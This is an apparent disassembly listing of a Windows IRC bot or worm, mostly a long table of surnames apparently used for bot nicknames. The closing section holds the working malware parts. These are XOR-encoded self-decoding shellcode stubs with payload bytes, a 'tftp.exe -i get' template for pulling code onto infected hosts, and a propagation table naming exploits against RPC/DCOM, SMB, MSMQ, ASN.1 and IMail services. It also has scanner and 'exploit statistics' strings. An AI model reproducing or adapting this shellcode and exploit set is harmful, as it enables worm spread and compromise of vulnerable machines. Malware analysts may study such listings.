aSen		db 'Sen',0              ; DATA XREF: ___:0043AE6Co
aSennett	db 'Sennett',0          ; DATA XREF: ___:0043AE70o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0043AE74o
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: ___:0043AE78o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0043AE7Co
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0043AE80o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0043AE84o
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: ___:0043AE88o
		align 10h
aShanley	db 'Shanley',0          ; DATA XREF: ___:0043AE8Co
aShar		db 'Shar',0             ; DATA XREF: ___:0043AE90o
		align 10h
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0043AE94o
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0043AE98o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0043AE9Co
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0043AEA0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0043AEA4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0043AEA8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0043AEACo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0043AEB0o
		align 10h
aShia		db 'Shia',0             ; DATA XREF: ___:0043AEB4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0043AEB8o
aShimon		db 'Shimon',0           ; DATA XREF: ___:0043AEBCo
		align 4
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0043AEC0o
		align 10h
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0043AEC4o
aSigini		db 'Sigini',0           ; DATA XREF: ___:0043AEC8o
		align 10h
aSigna		db 'Signa',0            ; DATA XREF: ___:0043AECCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0043AED0o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0043AED4o
		align 10h
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0043AED8o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0043AEDCo
aSites		db 'Sites',0            ; DATA XREF: ___:0043AEE0o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0043AEE4o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0043AEE8o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0043AEECo
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0043AEF0o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0043AEF4o
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0043AEF8o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0043AEFCo
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0043AF00o
		align 10h
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0043AF04o
aSolon		db 'Solon',0            ; DATA XREF: ___:0043AF08o
		align 10h
aSomers		db 'Somers',0           ; DATA XREF: ___:0043AF0Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0043AF10o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0043AF14o
		align 10h
aSorg		db 'Sorg',0             ; DATA XREF: ___:0043AF18o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0043AF1Co
		align 10h
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0043AF20o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0043AF24o
		align 10h
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0043AF28o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0043AF2Co
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0043AF30o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0043AF34o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0043AF38o
aSpence		db 'Spence',0           ; DATA XREF: ___:0043AF3Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0043AF40o
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0043AF44o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0043AF48o
		align 4
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0043AF4Co
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0043AF50o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0043AF54o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0043AF58o
aStam		db 'Stam',0             ; DATA XREF: ___:0043AF5Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0043AF60o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0043AF64o
		align 10h
aStates		db 'States',0           ; DATA XREF: ___:0043AF68o
		align 4
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0043AF6Co
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: ___:0043AF70o
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0043AF74o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0043AF78o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0043AF7Co
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0043AF80o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0043AF84o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0043AF88o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0043AF8Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0043AF90o
		align 4
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0043AF94o
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0043AF98o
aStonich	db 'Stonich',0          ; DATA XREF: ___:0043AF9Co
aStorer		db 'Storer',0           ; DATA XREF: ___:0043AFA0o
		align 10h
aStott		db 'Stott',0            ; DATA XREF: ___:0043AFA4o
		align 4
aStrange	db 'Strange',0          ; DATA XREF: ___:0043AFA8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0043AFACo
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0043AFB0o
aStringer	db 'Stringer',0         ; DATA XREF: ___:0043AFB4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0043AFB8o
		align 4
aSumner		db 'Sumner',0           ; DATA XREF: ___:0043AFBCo
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0043AFC0o
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0043AFC4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0043AFC8o
		align 4
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0043AFCCo
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0043AFD0o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0043AFD4o
aTai		db 'Tai',0              ; DATA XREF: ___:0043AFD8o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0043AFDCo
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0043AFE0o
aTandler	db 'Tandler',0          ; DATA XREF: ___:0043AFE4o
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0043AFE8o
		align 10h
aTatar		db 'Tatar',0            ; DATA XREF: ___:0043AFECo
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0043AFF0o
aTawn		db 'Tawn',0             ; DATA XREF: ___:0043AFF4o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0043AFF8o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0043AFFCo
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0043B000o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0043B004o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0043B008o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0043B00Co
		align 10h
aThan		db 'Than',0             ; DATA XREF: ___:0043B010o
		align 4
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0043B014o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0043B018o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0043B01Co
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: ___:0043B020o
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0043B024o
aThroop		db 'Throop',0           ; DATA XREF: ___:0043B028o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0043B02Co
aTill		db 'Till',0             ; DATA XREF: ___:0043B030o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0043B034o
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0043B038o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0043B03Co
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0043B040o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: ___:0043B044o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0043B048o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0043B04Co
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0043B050o
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0043B054o
aTorske		db 'Torske',0           ; DATA XREF: ___:0043B058o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0043B05Co
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0043B060o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0043B064o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0043B068o
		align 10h
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0043B06Co
		align 4
aTringali	db 'Tringali',0         ; DATA XREF: ___:0043B070o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0043B074o
aTroy		db 'Troy',0             ; DATA XREF: ___:0043B078o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: ___:0043B07Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0043B080o
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0043B084o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0043B088o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0043B08Co
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0043B090o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0043B094o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0043B098o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0043B09Co
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0043B0A0o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0043B0A4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0043B0A8o
		align 10h
aUllman		db 'Ullman',0           ; DATA XREF: ___:0043B0ACo
		align 4
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0043B0B0o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0043B0B4o
aUrban		db 'Urban',0            ; DATA XREF: ___:0043B0B8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0043B0BCo
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0043B0C0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0043B0C4o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0043B0C8o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: ___:0043B0CCo
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0043B0D0o
aValencia	db 'Valencia',0         ; DATA XREF: ___:0043B0D4o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0043B0D8o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0043B0DCo
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0043B0E0o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0043B0E4o
		align 10h
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0043B0E8o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0043B0ECo
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0043B0F0o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0043B0F4o
		align 10h
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0043B0F8o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0043B0FCo
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0043B100o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0043B104o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0043B108o
		align 4
aWeinhaus	db 'Weinhaus',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeissman	db 'Weissman',0
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWelles		db 'Welles',0
		align 4
aWelsh		db 'Welsh',0
		align 4
aWengret	db 'Wengret',0
aVenne		db 'Venne',0
		align 4
aVerghese	db 'Verghese',0
		align 10h
aWescott	db 'Wescott',0
aWetzel		db 'Wetzel',0
		align 10h
aWhately	db 'Whately',0
aWhilton	db 'Whilton',0
aWhite		db 'White',0
		align 4
aWhitla		db 'Whitla',0
		align 10h
aWhittaker	db 'Whittaker',0
		align 4
aViana		db 'Viana',0
		align 4
aViano		db 'Viano',0
		align 4
aWiedersheim	db 'Wiedersheim',0
aWiener		db 'Wiener',0
		align 10h
aViens		db 'Viens',0
		align 4
aVignola	db 'Vignola',0
aWilder		db 'Wilder',0
		align 4
aWilhelm	db 'Wilhelm',0
aWilk		db 'Wilk',0
		align 4
aWilkin		db 'Wilkin',0
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0043B174o
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0043B178o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0043B17Co
aWilson		db 'Wilson',0           ; DATA XREF: ___:0043B180o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: ___:0043B184o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0043B188o
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0043B18Co
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0043B190o
		align 4
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0043B194o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0043B198o
aWooden		db 'Wooden',0           ; DATA XREF: ___:0043B19Co
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0043B1A0o
		align 4
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0043B1A4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0043B1A8o
aVotey		db 'Votey',0            ; DATA XREF: ___:0043B1ACo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0043B1B0o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0043B1B4o
		align 4
aYankee		db 'Yankee',0           ; DATA XREF: ___:0043B1B8o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0043B1BCo
aYates		db 'Yates',0
		align 4
aYbarra		db 'Ybarra',0
		align 4
aYedidia	db 'Yedidia',0
aYesson		db 'Yesson',0
		align 4
aYetiv		db 'Yetiv',0
		align 4
aYoffe		db 'Yoffe',0
		align 4
aYoo		db 'Yoo',0
aYoukSee	db 'Youk-See',0
		align 4
aYu		db 'Yu',0
		align 10h
aZachary	db 'Zachary',0
aZahedi		db 'Zahedi',0
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0043B1ECo
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: ___:0043B1F0o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0043B1F4o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0043B1F8o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0043B1FCo
aZurn		db 'Zurn',0             ; DATA XREF: ___:0043B200o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0043B204o
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0043B208o
		align 4
aS_29		db '%s',0               ; DATA XREF: sub_408768+27o
		align 4
aSI		db '%s%i',0             ; DATA XREF: sub_408768+4Eo
		align 4
aS_30		db '%s',0
		align 4
aSI_0		db '%s%i',0
		align 10h
aPc		db 'PC',0               ; DATA XREF: ___:00408885o
		align 4
aPc_0		db 'PC',0               ; DATA XREF: ___:004088AFo
		align 4
aPc_1		db 'PC',0               ; DATA XREF: ___:004088DBo
		align 4
aSI_1		db '%s%i',0             ; DATA XREF: ___:00408906o
		align 4
aS_31		db '%s|',0              ; DATA XREF: ___:00408954o
aSI_2		db '%s%i',0             ; DATA XREF: ___:0040897Bo
		align 10h
a95		db '95',0               ; DATA XREF: ___:004089E9o
		align 4
aNt		db 'NT',0               ; DATA XREF: ___:004089F7o
		align 4
a98		db '98',0               ; DATA XREF: ___:00408A07o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: ___:00408A17o
		align 10h
a2k		db '2K',0               ; DATA XREF: ___:00408A30o
		align 4
aXp_0		db 'XP',0               ; DATA XREF: ___:00408A40o
		align 4
a2k3		db '2K3',0              ; DATA XREF: ___:00408A4Eo
a???_0		db '???',0              ; DATA XREF: ___:loc_408A55o
aS_32		db '[%s]|',0            ; DATA XREF: ___:00408A5Eo
		align 4
aSI_3		db '%s%i',0             ; DATA XREF: ___:00408A85o
		align 10h
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_408AA4+1Fo
		align 4
off_43DCA8	dd offset byte_5D4D5B	; DATA XREF: sub_408AA4+2Co
dword_43DCAC	dd 5D64255Bh, 7325h	; DATA XREF: sub_408AA4+3Ao
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_408AA4:loc_408AF3o
		align 4
off_43DCBC	dd offset byte_5D4D5B	; DATA XREF: sub_408AA4+5Co
; ---------------------------------------------------------------------------


loc_43DCC0:				; DATA XREF: sub_408D4C+C4o
		jmp	short loc_43DCC4
; ---------------------------------------------------------------------------


loc_43DCC2:				; CODE XREF: ___:loc_43DCC4p
		jmp	short loc_43DCC9
; ---------------------------------------------------------------------------


loc_43DCC4:				; CODE XREF: ___:loc_43DCC0j
		call	loc_43DCC2


loc_43DCC9:				; CODE XREF: ___:loc_43DCC2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43DCCE	dw 0FFFFh		; DATA XREF: sub_408D4C+CCw
		db 80h,	73h, 0Eh
byte_43DCD3	db 0FFh			; DATA XREF: sub_408D4C+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_43DCD8:				; DATA XREF: sub_408D4C+A2o
		jmp	short loc_43DCDC
; ---------------------------------------------------------------------------


loc_43DCDA:				; CODE XREF: ___:loc_43DCDCp
		jmp	short loc_43DCE1
; ---------------------------------------------------------------------------


loc_43DCDC:				; CODE XREF: ___:loc_43DCD8j
		call	loc_43DCDA


loc_43DCE1:				; CODE XREF: ___:loc_43DCDAj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_43DCE5	db 0FFh			; DATA XREF: sub_408D4C+AAw
		dw 7380h
		db 0Ch
byte_43DCE9	db 0FFh			; DATA XREF: sub_408D4C+B0w
		dw 0E243h
		dd 0F9h
dword_43DCF0	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_408BD5+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43DD54	dd 12h			; DATA XREF: sub_408BD5+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_408BD5+79o
aJ_0		db 'j',0
		db 0E8h
dword_43DD6D	dd 17h			; DATA XREF: sub_408BD5+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43DD74
		retn
; ---------------------------------------------------------------------------
byte_43DD74	db 0E8h			; CODE XREF: ___:0043DD71j
dword_43DD75	dd 1			; DATA XREF: sub_408BD5+45w
byte_43DD79	db 0, 6Ah, 0		; DATA XREF: sub_408BD5+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43DD83	dd 0FFFFFFEDh		; DATA XREF: sub_408BD5+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h, 202E6425h
		dd 7325h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4090E1+35o
		align 4
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_4090E1+51o
		align 10h
aNapi2_135_0	db 'napi2_135',0        ; DATA XREF: sub_409ECC+164o
aNapi2_135	db 'Napi2_135',0        ; DATA XREF: sub_4094E0+30o
					; sub_40CE96+57o
		dd 5 dup(0)
dword_43DE38	dd 87h			; DATA XREF: sub_403038+3212r
					; sub_403038+323Eo ...
off_43DE3C	dd offset sub_40CE96	; DATA XREF: sub_409ECC+1E6r
dword_43DE40	dd 0			; DATA XREF: sub_4093A7+2Eo
					; ___:0040AC82w ...
dword_43DE44	dd 1			; DATA XREF: sub_4097CE+20r
dword_43DE48	dd 0			; DATA XREF: sub_4097CE+290r
		align 10h
aNapi2_445	db 'napi2_445',0
aNapi2_445_0	db 'Napi2_445',0
		dd 5 dup(0)
		dd 1BDh, 40CE96h, 0
		dd 1, 2	dup(0)
aNapi2_139	db 'napi2_139',0
aNapi2_139_0	db 'Napi2_139',0
		dd 5 dup(0)
		dd 8Bh,	40CE96h, 0
		dd 1, 2	dup(0)
aMsgsvc		db 'msgsvc',0
		align 4
		dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
		dd 87h,	40ADB0h, 0
		dd 1, 2	dup(0)
aMsmq2103	db 'msmq2103',0
		align 2
aMsmq2103_0	db 'MSMQ 2103',0
		dd 5 dup(0)
		dd 837h, 40C62Eh, 0
		dd 1, 2	dup(0)
aMsmq2105	db 'msmq2105',0
		align 2
aMsmq2105_0	db 'MSMQ 2105',0
		dd 5 dup(0)
		dd 839h, 40C62Eh, 0
		dd 1, 2	dup(0)
aMsmq2107	db 'msmq2107',0
		align 2
aMsmq2107_0	db 'MSMQ 2107',0
		dd 5 dup(0)
		dd 83Bh, 40C62Eh, 0
		dd 1, 2	dup(0)
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 4
		dd 4 dup(0)
		dd 50h,	40BB78h, 0
		dd 1, 2	dup(0)
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40BB78h, 0
		dd 1, 2	dup(0)
aAsn1smbnt	db 'asn1smbnt',0
aAsn_1SmbNt	db 'ASN.1-SMB NT',0
		align 4
		dd 4 dup(0)
		dd 8Bh,	40BB78h, 0
		dd 1, 2	dup(0)
aImail_1	db 'imail',0
		align 4
		dd 4D490000h, 6C6961h, 6 dup(0)
		dd 8Fh,	40A60Ah, 0
		dd 1, 2	dup(0)
aMersin		db 'mersin',0
		align 4
		dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
		dd 170Ch, 4145EFh, 0
		dd 1, 12h dup(0)
aMersin_0	db 'mersin',0
		align 4
		db 2 dup(0)
byte_43E15A	db 1			; DATA XREF: sub_403038:loc_4061C8r
					; sub_403038+319Ao
aMsmq2103_1	db 'msmq2103',0
		dd 73610100h, 6D73316Eh, 62h, 1, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_43E18E

; =============== S U B	R O U T	I N E =======================================



sub_43E17E	proc near		; CODE XREF: sub_43E17E:loc_43E18Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43E186:				; CODE XREF: sub_43E17E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43E186
		jmp	short loc_43E193
; ---------------------------------------------------------------------------


loc_43E18E:				; CODE XREF: ___:0043E17Cj
		call	sub_43E17E


loc_43E193:				; CODE XREF: sub_43E17E+Ej
		jo	short near ptr dword_43E104+2Ah
		cwde
		cdq
		cdq
		retn
sub_43E17E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_43E2FC	db  2Dh	; -		; DATA XREF: sub_4093A7+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
dword_43E31C	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_4093A7+46o
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_4093A7+85o
		align 4
unk_43E33C	db  2Dh	; -		; DATA XREF: sub_409475+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
dword_43E384	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_4094E0+14o
		dd 7473694Ch, 3Ah
dword_43E3A0	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_4094E0+40o
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_4094E0+7Eo
unk_43E3C0	db  2Dh	; -		; DATA XREF: ___:00409626o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_43E3F0	db  2Dh	; -		; DATA XREF: ___:00409714o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_43E424	db  2Dh	; -		; DATA XREF: sub_409757+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
